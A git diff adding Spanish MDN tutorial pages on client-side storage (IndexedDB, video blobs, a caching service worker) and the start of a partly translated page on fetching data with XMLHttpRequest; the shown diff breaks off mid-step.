+ <li>A continuación, verificamos si el cursor contiene un registro del almacén de datos (<code>if (cursor) {...}</code>); si es así, creamos un fragmento DOM, lo llenamos con los datos del registro y lo insertamos en la página (dentro del elemento <code>&lt;ul&gt;</code>). También incluimos un botón para eliminar que, al hacer clic, eliminará esa nota ejecutando la función <code>deleteItem()</code>, que veremos en la siguiente sección.</li>
+ <li>Al final del bloque <code>if</code>, usamos el método {{domxref("IDBCursor.continue()")}} para hacer avanzar el cursor al siguiente registro en el almacén de datos y ejecutar el contenido de el bloque <code>if</code> nuevamente. Si hay otro registro para iterar, esto hace que se inserte en la página, y luego se ejecuta <code>continue()</code> nuevamente, y así sucesivamente.</li>
+ <li>Cuando no hay más registros sobre los que iterar, <code>cursor</code> devolverá <code>undefined</code> y, por lo tanto, el bloque <code>else</code> se ejecutará en lugar del bloque <code>if</code>. Este bloque comprueba si se insertaron notas en el <code>&lt;ul&gt;</code>; de lo contrario, inserta un mensaje para indicar que no se almacenó ninguna nota.</li>
+</ul>
+
+<h3 id="Eliminar_una_nota">Eliminar una nota</h3>
+
+<p>Como se indicó anteriormente, cuando se presiona el botón de eliminación de una nota, la nota se elimina. Esto se logra mediante la función <code>deleteItem()</code>, que se ve así:</p>
+
+<pre class="brush: js notranslate">// Define la función deleteItem()
+function deleteItem(e) {
+  // recuperamos el nombre de la tarea que queremos eliminar. Necesitamos
+  // convertirla en un número antes de intentarla úselo con IDB; Clave del IDB
+  // los valores son sensibles al tipo.
+  let noteId = Number(e.target.parentNode.getAttribute('data-note-id'));
+
+  // abre una transacción de base de datos y elimina la tarea, encontrándola usando la identificación que obtuvimos arriba
+  let transaction = db.transaction(['notes_os'], 'readwrite');
+  let objectStore = transaction.objectStore('notes_os');
+  let request = objectStore.delete(noteId);
+
+  // informa que el elemento de datos ha sido eliminado
+  transaction.oncomplete = function() {
+    // elimina el padre del botón
+    // que es el elemento de la lista, por lo que ya no se muestra
+    e.target.parentNode.parentNode.removeChild(e.target.parentNode);
+    console.log('Nota ' + noteId + ' eliminada.');
+
+    // Nuevamente, si el elemento de la lista está vacío, muestra el mensaje 'No hay notas almacenadas'
+    if(!list.firstChild) {
+      let listItem = document.createElement('li');
+      listItem.textContent = 'No hay notas almacenadas.';
+      list.appendChild(listItem);
+    }
+  };
+}</pre>
+
+<ul>
+ <li>La primera parte de esto podría necesitar algo de explicación: recuperamos el ID del registro que se va a eliminar usando <code>Number(e.target.parentNode.getAttribute('data-note-id'))</code> — recuerda que el ID del registro se guardó en un atributo <code>data-note-id</code> en el <code>&lt;li&gt;</code> cuando se mostró por primera vez. Sin embargo, necesitamos pasar el atributo a través del objeto <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Number">Number()</a></code> integrado global ya que es de tipo cadena de datos y, por lo tanto, no sería reconocido por la base de datos, que espera un número.</li>
+ <li>Luego obtenemos una referencia al almacén de objetos usando el mismo patrón que hemos visto anteriormente, y usamos el método {{domxref("IDBObjectStore.delete()")}} para eliminar el registro de la base de datos, pasándole el ID.</li>
+ <li>Cuando se completa la transacción de la base de datos, eliminamos el <code>&lt;li&gt;</code> de la nota del DOM, y nuevamente hacemos la verificación para ver si el <code>&lt;ul&gt;</code> ahora está vacío, insertando un nota según corresponda.</li>
+</ul>
+
+<p>¡Eso es todo!; Tu ejemplo debería funcionar ahora.</p>
+
+<p>Si tienes problemas con él, no dudes en <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/notes/">compararlo con nuestro ejemplo en vivo</a> (consulta el <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.js">código fuente</a> también).</p>
+
+<h3 id="Almacenamiento_de_datos_complejos_a_través_de_IndexedDB">Almacenamiento de datos complejos a través de <code>IndexedDB</code></h3>
+
+<p>Como mencionamos anteriormente, <code>IndexedDB</code> se puede usar para almacenar más que simples cadenas de texto. Puedes almacenar casi cualquier cosa que desees, incluidos objetos complejos como blobs de imágenes o vídeos. Y no es mucho más difícil de conseguir que cualquier otro tipo de dato.</p>
+
+<p>Para demostrar cómo hacerlo, hemos escrito otro ejemplo llamado <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/indexeddb/video-store">almacenaje de videos con IndexedDB</a> (verlo <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/video-store/">en vivo aquí también</a>). Cuando ejecutas el ejemplo por primera vez, descarga todos los videos de la red, los almacena en una base de datos <code>IndexedDB</code> y luego muestra los videos en la IU dentro de los elementos {{htmlelement("video")}}. La segunda vez que lo ejecutas, encuentra los videos en la base de datos y los obtiene de allí antes de mostrarlos; esto hace que las cargas posteriores sean mucho más rápidas y menos necesitadas de ancho de banda.</p>
+
+<p>Repasemos las partes más interesantes del ejemplo. No lo veremos todo; gran parte es similar al ejemplo anterior y el código está bien comentado.</p>
+
+<ol>
+ <li>
+  <p>Para este ejemplo simple, hemos almacenado los nombres de los videos para buscarlos en un arreglo de objetos:</p>
+
+  <pre class="brush: js notranslate">const videos = [
+  { 'name' : 'crystal' },
+  { 'name' : 'elf' },
+  { 'name' : 'frog' },
+  { 'name' : 'monster' },
+  { 'name' : 'pig' },
+  { 'name' : 'rabbit' }
+];</pre>
+ </li>
+ <li>
+  <p>Para empezar, una vez que la base de datos se abre con éxito, ejecutamos una función <code>init()</code>. Esto recorre los diferentes nombres de video, tratando de cargar un registro identificado por cada nombre de la base de datos de <code>videos</code>.</p>
+
+  <p>Si cada video se encuentra en la base de datos (se verifica fácilmente al ver si <code>request.result</code> se evalúa como <code>true</code>; si el registro no está presente, será <code>undefined</code>), sus archivos de video (almacenados como blobs) y el nombre del video se pasan directamente a la función <code>displayVideo()</code> para colocarlos en la interfaz de usuario. De lo contrario, el nombre del video se pasa a la función <code>fetchVideoFromNetwork()</code> para ... ¡adivinaste!: recupera el video de la red.</p>
+
+  <pre class="brush: js notranslate">function init() {
+  // Recorre los nombres de los videos uno por uno
+  for(let i = 0; i &lt; videos.length; i++) {
+    // Abre la transacción, obtiene objetos del almacén y get() cada video por nombre
+    let objectStore = db.transaction('videos_os').objectStore('videos_os');
+    let request = objectStore.get(videos[i].name);
+    request.onsuccess = function() {
+      // Si el resultado existe en la base de datos (no está indefinido)
+      if(request.result) {
+        // Toma los videos del IDB y los muestra usando displayVideo()
+        console.log('tomando videos del IDB');
+        displayVideo(request.result.mp4, request.result.webm, request.result.name);
+      } else {
+        // Recuperar los videos de la red
+        fetchVideoFromNetwork(videos[i]);
+      }
+    };
+  }
+}</pre>
+ </li>
+ <li>
+  <p>El siguiente fragmento se tomó del interior de <code>fetchVideoFromNetwork()</code> — aquí obtenemos las versiones MP4 y WebM del video usando dos peticiones {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}}. Luego usamos el método {{domxref("blob()", "Body.blob()")}} para extraer el cuerpo de cada respuesta como un blob, dándonos una representación de objeto de los videos que se pueden almacenar y mostrar más adelante.</p>
+
+  <p>Sin embargo, tenemos un problema aquí: estas dos solicitudes son asíncronas, pero solo queremos intentar mostrar o almacenar el video cuando ambas promesas se hayan cumplido. Afortunadamente, hay un método incorporado que maneja este problema: {{jsxref("Promise.all()")}}. Este toma un argumento, referencias a todas las promesas individuales que deseas verificar para su cumplimiento colocadas en un arreglo, y en sí mismo se basa en promesas.</p>
+
+  <p>Cuando todas esas promesas se han cumplido, la promesa <code>all()</code> se cumple con un arreglo que contiene todos los valores de cumplimiento individuales. Dentro del bloque <code>all()</code>, puedes ver que luego llamamos a la función <code>displayVideo()</code> como lo hicimos antes para mostrar los videos en la interfaz de usuario, luego también llamamos a la función <code>storeVideo()</code> para almacenar esos videos dentro de la base de datos.</p>
+
+  <pre class="brush: js notranslate">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response =&gt;
+  response.blob()
+);
+let webmBlob = fetch('videos/' + video.name + '.webm').then(response =&gt;
+  response.blob()
+);
+
+// Ejecuta el siguiente código solo cuando se hayan cumplido ambas promesas
+Promise.all([mp4Blob, webmBlob]).then(function(values) {
+  // muestra el video obtenido de la red con displayVideo()
+  displayVideo(values[0], values[1], video.name);
+  // lo almacena en el IDB usando storeVideo()
+  storeVideo(values[0], values[1], video.name);
+});</pre>
+ </li>
+ <li>
+  <p>Veamos primero <code>storeVideo()</code>. Esto es muy similar al patrón que viste en el ejemplo anterior para agregar datos a la base de datos: abrimos una transacción <code>readwrite</code> y obtenemos una referencia a nuestro almacén de objetos <code>videos_os</code>, creamos un objeto que representa el registro para agregar a la base de datos, luego simplemente lo agrega usando {{domxref("IDBObjectStore.add()")}}.</p>
+
+  <pre class="brush: js notranslate">función storeVideo(mp4Blob, webmBlob, nombre) {
+  // Abre transacción, obtiene el almacén de objetos; lo convierte en lectura y escritura para que podamos escribir en el IDB
+  let objectStore = db.transaction(['videos_os'], 'readwrite').objectStore('videos_os');
+  // Crea un registro para agregar al IDB
+  let record = {
+    mp4 : mp4Blob,
+    webm : webmBlob,
+    name : name
+  }
+
+  // Agrega el registro al IDB usando add()
+  let request = objectStore.add(record);
+
+  ...
+
+};</pre>
+ </li>
+ <li>
+  <p>Por último, pero no menos importante, tenemos <code>displayVideo()</code>, que crea los elementos DOM necesarios para insertar el video en la interfaz de usuario y luego los agrega a la página. Las partes más interesantes de esto son las que se muestran a continuación: para mostrar realmente nuestros blobs de video en un elemento <code>&lt;video&gt;</code>, necesitamos crear URL de objeto (URL internas que apuntan a los blobs de video almacenados en la memoria) utilizando el método {{domxref("URL.createObjectURL()")}}. Una vez hecho esto, podemos configurar las URL del objeto para que sean los valores de los atributos <code>src</code> de nuestro elemento {{htmlelement("source")}}, y funciona bien.</p>
+
+  <pre class="brush: js notranslate">function displayVideo(mp4Blob, webmBlob, title) {
+  // Crea URL del objeto a partir de blobs
+  let mp4URL = URL.createObjectURL(mp4Blob);
+  let webmURL = URL.createObjectURL(webmBlob);
+
+  ...
+
+  const video = document.createElement('video');
+  video.controls = true;
+  const source1 = document.createElement('source');
+  source1.src = mp4URL;
+  source1.type = 'video/mp4';
+  const source2 = document.createElement('source');
+  source2.src = webmURL;
+  source2.type = 'video/webm';
+
+  ...
+}</pre>
+ </li>
+</ol>
+
+<h2 id="Almacenamiento_de_activos_sin_conexión">Almacenamiento de activos sin conexión</h2>
+
+<p>El ejemplo anterior ya muestra cómo crear una aplicación que almacenará grandes activos en una base de datos <code>IndexedDB</code>, evitando la necesidad de descargarlos más de una vez. Esto ya es una gran mejora para la experiencia del usuario, pero todavía falta una cosa: los archivos HTML, CSS y JavaScript principales aún se deben descargar cada vez que se accede al sitio, lo cual significa que no funcionará cuando no haya conexión de red.</p>
+
+<p><img alt="Fuera de línea" src="https://mdn.mozillademos.org/files/15759/ff-offline.png" style="border-style: solid; border-width: 1px; display: block; height: 307px; margin: 0px auto; width: 765px;"></p>
+
+<p>Aquí es donde entran el {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio workers")}} y la {{web.link("/es/docs/Web/API/Cache", "API de caché")}}.</p>
+
+<p>Un servicio <em>worker</em> es un archivo JavaScript que, en pocas palabras, se registra con un origen en particular (sitio web o parte de un sitio web en un determinado dominio) cuando se accede a él mediante un navegador. Cuando se registra, puede controlar las páginas disponibles en ese origen. Para ello, se sienta entre una página cargada y la red e intercepta las solicitudes de red dirigidas a ese origen.</p>
+
+<p>Cuando intercepta una solicitud, puede hacer lo que desees (consulta {{web.link("/es/docs/Web/API/Service_Worker_API#Other_use_case_ideas", "ideas de casos de uso")}}), pero el ejemplo clásico es guardar las respuestas de la red fuera de línea y luego proporcionarlas en respuesta a una solicitud en lugar de las respuestas de la red. De hecho, te permite hacer que un sitio web funcione completamente fuera de línea.</p>
+
+<p>La API de caché es otro mecanismo de almacenamiento del lado del cliente, con una pequeña diferencia: está diseñada para guardar respuestas HTTP y, por lo tanto, funciona muy bien con el servicio <em>workers</em>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El servicio <em>workers</em> y la memoria caché ahora son compatibles con la mayoría de los navegadores modernos. Al momento de escribir este artículo, Safari todavía estaba ocupado implementándolo, pero debería estar allí pronto.</p>
+</div>
+
+<h3 id="Un_ejemplo_del_servicio_worker">Un ejemplo del servicio <em>worker</em></h3>
+
+<p>Veamos un ejemplo para darte una idea de cómo se vería esto. Hemos creado otra versión del ejemplo del almacén de videos que vimos en la sección anterior; este funciona de manera idéntica, excepto que también guarda HTML, CSS y JavaScript en la API de caché a través de un servicio <em>worker</em>, lo que permite que el ejemplo se ejecute sin conexión.</p>
+
+<p>Ve <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">almacén de videos IndexedDB con servicio worker funcionando en vivo</a> y también <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/cache-sw/video-store-offline">ve el código fuente</a>.</p>
+
+<h4 id="Registrar_el_servicio_worker">Registrar el servicio <em>worker</em></h4>
+
+<p>Lo primero que hay que tener en cuenta es que hay un fragmento adicional de código colocado en el archivo JavaScript principal (consulta <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js">index.js</a>). Primero hacemos una prueba de detección de características para ver si el miembro <code>serviceWorker</code> está disponible en el objeto {{domxref("Navigator")}}. Si esto devuelve <code>true</code>, entonces sabemos que al menos se respaldan los conceptos básicos del servicio <em>workers</em>. Aquí adentro usamos el método {{domxref("ServiceWorkerContainer.register )")}} para registrar un servicio <em>worker</em> contenido en el archivo <code>sw.js</code> contra el origen en el que reside, para que pueda controlar páginas en el mismo directorio que él, o subdirectorios. Cuando se cumple su promesa, el trabajador del servicio se considera registrado.</p>
+
+<pre class="brush: js notranslate">  // Registrar el servicio workers para controlar que el sitio funcione sin conexión
+
+  if('serviceWorker' in navigator) {
+    navigator.serviceWorker
+             .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js')
+             .then(function() { console.log('Servicio Worker Registrado'); });
+  }</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: La ruta proporcionada al archivo <code>sw.js</code> es relativa al origen del sitio, no al archivo JavaScript que contiene el código. El servicio <em>worker</em> está en <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. El origen es <code>https://mdn.github.io</code> y, por lo tanto, la ruta dada debe ser <code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Si quisieras alojar este ejemplo en tu propio servidor, tendrías que cambiarlo consecuentemente. Esto es bastante confuso, pero tiene que funcionar de esta manera por razones de seguridad.</p>
+</div>
+
+<h4 id="Instalación_del_servicio_worker">Instalación del servicio <em>worker</em></h4>
+
+<p>La próxima vez que se accede a cualquier página bajo el control del servicio <em>worker</em> (por ejemplo, cuando se vuelve a cargar el ejemplo), el servicio <em>worker</em> se instala en esa página, lo cual significa que comenzará a controlarla. Cuando esto ocurre, se dispara un evento <code>install</code> contra el servicio <em>worker</em>; puedes escribir código dentro del propio servicio <em>worker</em> que responderá a la instalación.</p>
+
+<p>Veamos un ejemplo, en el archivo <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js">sw.js</a> (el servicio <em>worker</em>). Verás que el detector de instalación está registrado en <code>self</code>. Esta palabra clave <code>self</code> es una forma de hacer referencia al alcance global del servicio <em>worker</em> desde el interior del archivo del servicio <em>worker</em>.</p>
+
+<p>Dentro del controlador <code>install</code> usamos el método {{domxref("ExtendableEvent.waitUntil()")}}, disponible en el objeto <code>event</code>, para indicar que el navegador no debe completar la instalación del servicio <em>worker</em> hasta que la promesa interior se haya cumplido con éxito.</p>
+
+<p>Aquí es donde vemos en acción la API de <code>Cache</code>. Usamos el método {{domxref("CacheStorage.open()")}} para abrir un nuevo objeto <code>Cache</code> en el que se pueden almacenar las respuestas (similar a un almacén de objetos <code>IndexedDB</code>). Esta promesa se cumple con un objeto {{domxref("Cache")}} que representa la caché de <code>video-store</code>. Luego usamos el método {{domxref("Cache.addAll()")}} para obtener una serie de activos y agregar sus respuestas a la caché.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', function(e) {
+ e.waitUntil(
+   caches.open('video-store').then(function(cache) {
+     return cache.addAll([
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css'
+     ]);
+   })
+ );
+});</pre>
+
+<p>Eso es todo por ahora, instalación terminada.</p>
+
+<h4 id="Responder_a_más_solicitudes">Responder a más solicitudes</h4>
+
+<p>Con el servicio <em>worker</em> registrado e instalado en nuestra página HTML, y todos los activos relevantes agregados a nuestra caché, estamos casi listos para comenzar. Solo queda una cosa más por hacer, escribir código para responder a más solicitudes de red.</p>
+
+<p>Esto es lo que hace el segundo bit de código en <code>sw.js</code>. Agregamos otro escucha al ámbito global del servicio <em>worker</em>, que ejecuta la función del controlador cuando se genera el evento <code>fetch</code>. Esto sucede cada vez que el navegador solicita un activo en el directorio en el que está registrado el servicio <em>worker</em>.</p>
+
+<p>Dentro del controlador, primero registramos la URL del activo solicitado. Luego proporcionamos una respuesta personalizada a la solicitud, utilizando el método {{domxref("FetchEvent.respondWith()")}}.</p>
+
+<p>Dentro de este bloque usamos {{domxref("CacheStorage.match()")}} para verificar si una solicitud coincidente (es decir, coincide con la URL) se puede encontrar en cualquier caché. Esta promesa se cumple con la respuesta coincidente si se encuentra una coincidencia, o <code>undefined</code> si no lo es.</p>
+
+<p>Si se encuentra una coincidencia, simplemente la devolvemos como la respuesta personalizada. De lo contrario, {{web.link("/es/docs/Web/API/WindowOrWorkerGlobalScope/fetch", "fetch()")}} la respuesta de la red y la devolvemos en su lugar.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) {
+  console.log(e.request.url);
+  e.respondWith(
+    caches.match(e.request).then(function(response) {
+      return response || fetch(e.request);
+    })
+  );
+});</pre>
+
+<p>Y eso es todo para nuestro sencillo servicio <em>worker</em>. Hay muchas más cosas que puedes hacer con ellos; para obtener más detalles, consulta el <a href="https://serviceworke.rs/">libro de recetas para el servicio <em>worker</em></a>. Y gracias a Paul Kinlan por su artículo <a href="https://developers.google.com/web/fundamentals/codelabs/offline/">Agregar un servicio <em>worker</em> y sin conexión a tu aplicación web</a>, que inspiró este sencillo ejemplo.</p>
+
+<h4 id="Probando_el_ejemplo_sin_conexión">Probando el ejemplo sin conexión</h4>
+
+<p>Para probar nuestro <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">ejemplo de servicio <em>worker</em></a>, deberás cargarlo un par de veces para asegurarte de que esté instalado. Una vez hecho esto, puedes:</p>
+
+<ul>
+ <li>Intenta desconectar tu red/apagar tu <em>Wifi</em>.</li>
+ <li>Selecciona <em>Archivo → Trabajar sin conexión</em> si estás usando Firefox.</li>
+ <li>Ve a <em>devtools</em>, luego elige <em>Aplicación → Servicio worker</em>, luego marca la casilla de verificación <em>Sin conexión</em> si estás usando Chrome.</li>
+</ul>
+
+<p>Si actualizas tu página de ejemplo nuevamente, deberías ver que se carga bien. Todo se almacena sin conexión: los activos de la página en una caché y los videos en una base de datos <code>IndexedDB</code>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Eso es todo por ahora. Esperamos que hayas encontrado útil nuestro resumen de las tecnologías de almacenamiento de lado del cliente.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/API/Web_Storage_API", "API de almacenamiento Web")}}</li>
+ <li>{{web.link("/es/docs/Web/API/IndexedDB_API", "API IndexedDB")}}</li>
+ <li>{{web.link("/es/docs/Web/HTTP/Cookies", "Cookies")}}</li>
+ <li>{{web.link("/es/docs/Web/API/Service_Worker_API", "API del servicio worker")}}</li>
+</ul>
+
+<p>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Introduction", "Introducción a las APIs web")}}</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Manipulación de documentos")}}</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Obtener datos del servidor")}}</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "API de terceros")}}</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Dibujar gráficos")}}</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "APIs de video y audio")}}</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Almacenamiento de lado del cliente")}}</li>
+</ul>
diff --git a/files/es/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/es/learn/javascript/client-side_web_apis/fetching_data/index.html
new file mode 100644
index 0000000000..ab34b8c319
--- /dev/null
+++ b/files/es/learn/javascript/client-side_web_apis/fetching_data/index.html
@@ -0,0 +1,373 @@
+---
+title: Fetching data from the server
+slug: Learn/JavaScript/Client-side_web_APIs/Fetching_data
+translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div>
+
+<p class="summary">Otra tarea muy común en páginas web y en aplicaciones es tomar elementos individuales de datos desde el servidor para actualizar secciones de la página web sin tener que cargar toda una nueva página. Este aparentemente pequeño detalle tiene un gran impacto en el desempeño y comportamiento de los sitios, por eso en este artículo, explicaremos el concepto y veremos las tecnologías que hacen esto posible, como ser XHLHttpRequest y FetchAPI. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>JavaScript básico (ver <a href="/en-US/docs/Learn/JavaScript/First_steps">first steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks">building blocks</a>, <a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a>),  <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">basics of Client-side APIs</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender como extraer datos desde el servidor y usarlo para cargar contenido en la página web. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cúal_es_el_problema_aquí">Cúal es el problema aquí?</h2>
+
+<p>Originalmente cargar páginas en la web era simple  — tu enviabas una solicitud de la página web al servidor, y si no había ningún problema, los servicios encargados de la página web la descargaban y mostraban en tu computadora.</p>
+
+<p><img alt="A basic representation of a web site architecture" src="https://mdn.mozillademos.org/files/6475/web-site-architechture@2x.png" style="display: block; height: 134px; margin: 0px auto; width: 484px;"></p>
+
+<p>El problema con este modelo es que si tu quieres actualizar cualquier parte de la página, por ejemplo, mostrar el nuevo set de productos o cargar una nueva página, tu tenías que cargar toda la página de nuevo. Esto es extremadamente un desperdicio y resultaba ser una experiencia pobre al usuario, especialmente cuando la página es más grande y más compleja. </p>
+
+<h3 id="Introduciendo_Ajax">Introduciendo Ajax</h3>
+
+<p>This led to the creation of technologies that allow web pages to request small chunks of data (such as <a href="/en-US/docs/Web/HTML">HTML</a>, {{glossary("XML")}}, <a href="/en-US/docs/Learn/JavaScript/Objects/JSON">JSON</a>, or plain text) and display them only when needed, helping to solve the problem described above.</p>
+
+<p>This is achieved by using APIs like {{domxref("XMLHttpRequest")}} or — more recently — the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>. These technologies allow web pages to directly handle making <a href="/en-US/docs/Web/HTTP">HTTP</a> requests for specific resources available on a server and formatting the resulting data as needed before it is displayed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: In the early days, this general technique was known as <a href="https://developer.mozilla.org/en-US/docs/Glossary/Asynchronous">Asynchronous</a> JavaScript and XML (<a href="https://developer.mozilla.org/en-US/docs/Glossary/Ajax">Ajax</a>), because it tended to use {{domxref("XMLHttpRequest")}} to request XML data. This is normally not the case these days (you'd be more likely to use <code>XMLHttpRequest</code> or Fetch to request JSON), but the result is still the same, and the term "Ajax" is still often used to describe the technique.</p>
+</div>
+
+<p><img alt="A simple modern architecture for web sites" src="https://mdn.mozillademos.org/files/6477/moderne-web-site-architechture@2x.png" style="display: block; height: 235px; margin: 0px auto; width: 559px;"></p>
+
+<p>The Ajax model involves using a web API as a proxy to more intelligently request data rather than just having the browser reload the entire page. Let's think about the significance of this:</p>
+
+<ol>
+ <li>Go to one of your favorite information-rich sites, like Amazon, YouTube, CNN, etc., and load it.</li>
+ <li>Now search for something, like a new product. The main content will change, but most of the surrounding information, like the header, footer, navigation menu, etc., will stay the same.</li>
+</ol>
+
+<p>This is a really good thing because:</p>
+
+<ul>
+ <li>Page updates are a lot quicker and you don't have to wait for the page to refresh, meaning that the site feels faster and more responsive.</li>
+ <li>Less data is downloaded on each update, meaning less wasted bandwidth. This may not be such a big issue on a desktop on a broadband connection, but it's a major issue on mobile devices and in developing countries that don't have ubiquitous fast Internet service.</li>
+</ul>
+
+<p>To speed things up even further, some sites also store assets and data on the user's computer when they are first requested, meaning that on subsequent visits they use the local versions instead of downloading fresh copies when the page is first loaded. The content is only reloaded from the server when it has been updated.</p>
+
+<p><img alt="A basic web app data flow architecture" src="https://mdn.mozillademos.org/files/6479/web-app-architecture@2x.png" style="display: block; height: 383px; margin: 0px auto; width: 562px;"></p>
+
+<h2 id="A_basic_Ajax_request">A basic Ajax request</h2>
+
+<p>Let's look at how such a request is handled, using both {{domxref("XMLHttpRequest")}} and <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>. For these examples, we'll request data out of a few different text files and use them to populate a content area.</p>
+
+<p>This series of files will act as our fake database; in a real application, we'd be more likely to use a server-side language like PHP, Python, or Node to request our data from a database. Here, however, we want to keep it simple and concentrate on the client-side part of this.</p>
+
+<h3 id="XMLHttpRequest">XMLHttpRequest</h3>
+
+<p><code>XMLHttpRequest</code> (which is frequently abbreviated to XHR) is a fairly old technology now — it was invented by Microsoft in the late '90s, and has been standardized across browsers for quite a long time.</p>
+
+<ol>
+ <li>
+  <p>To begin this example, make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> and the four text files — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> — in a new directory on your computer. In this example, we will load a different verse of the poem (which you may well recognize) via XHR when it's selected in the drop-down menu.</p>
+ </li>
+ <li>
+  <p>Just inside the {{htmlelement("script")}} element, add the following code. This stores a reference to the {{htmlelement("select")}} and {{htmlelement("pre")}} elements in variables and defines an {{domxref("GlobalEventHandlers.onchange","onchange")}} event handler function so that when the select's value is changed, its value is passed to an invoked function <code>updateDisplay()</code> as a parameter.</p>
+
+  <pre class="brush: js">var verseChoose = document.querySelector('select');
+var poemDisplay = document.querySelector('pre');
+
+verseChoose.onchange = function() {
+  var verse = verseChoose.value;
+  updateDisplay(verse);
+};</pre>
+ </li>
+ <li>
+  <p>Let's define our <code>updateDisplay()</code> function. First of all, put the following beneath your previous code block — this is the empty shell of the function:</p>
+
+  <pre class="brush: js">function updateDisplay(verse) {
+
+};</pre>
+ </li>
+ <li>
+  <p>We'll start our function by constructing a relative URL pointing to the text file we want to load, as we'll need it later. The value of the {{htmlelement("select")}} element at any time is the same as the text inside the selected {{htmlelement("option")}} (unless you specify a different value in a value attribute) — so for example "Verse 1". The corresponding verse text file is "verse1.txt", and is in the same directory as the HTML file, therefore just the file name will do.</p>
+
+  <p>However, web servers tend to be case sensitive, and the file name doesn't have a space in it. To convert "Verse 1" to "verse1.txt" we need to convert the V to lower case, remove the space, and add .txt on the end. This can be done with {{jsxref("String.replace", "replace()")}}, {{jsxref("String.toLowerCase", "toLowerCase()")}}, and simple <a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">string concatenation</a>. Add the following lines inside your <code>updateDisplay()</code> function:</p>
+
+  <pre class="brush: js">verse = verse.replace(" ", "");
+verse = verse.toLowerCase();
+var url = verse + '.txt';</pre>
+ </li>
+ <li>
+  <p>To begin creating an XHR request, you need to create a new request object using the {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}} constructor. You can call this object anything you like, but we'll call it <code>request</code> to keep things simple. Add the following below your previous lines:</p>
+
+  <pre class="brush: js">var request = new XMLHttpRequest();</pre>
+ </li>
+ <li>
+  <p>Next, you need to use the {{domxref("XMLHttpRequest.open","open()")}} method to specify what <a href="/en-US/docs/Web/HTTP/Methods">HTTP request method</a> to use to request the resource from the network, and what its URL is. We'll just use the <code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> method here and set the URL as our <code>url</code> variable. Add this below your previous line:</p>
+
+  <pre class="brush: js">request.open('GET', url);</pre>
+ </li>
+ <li>
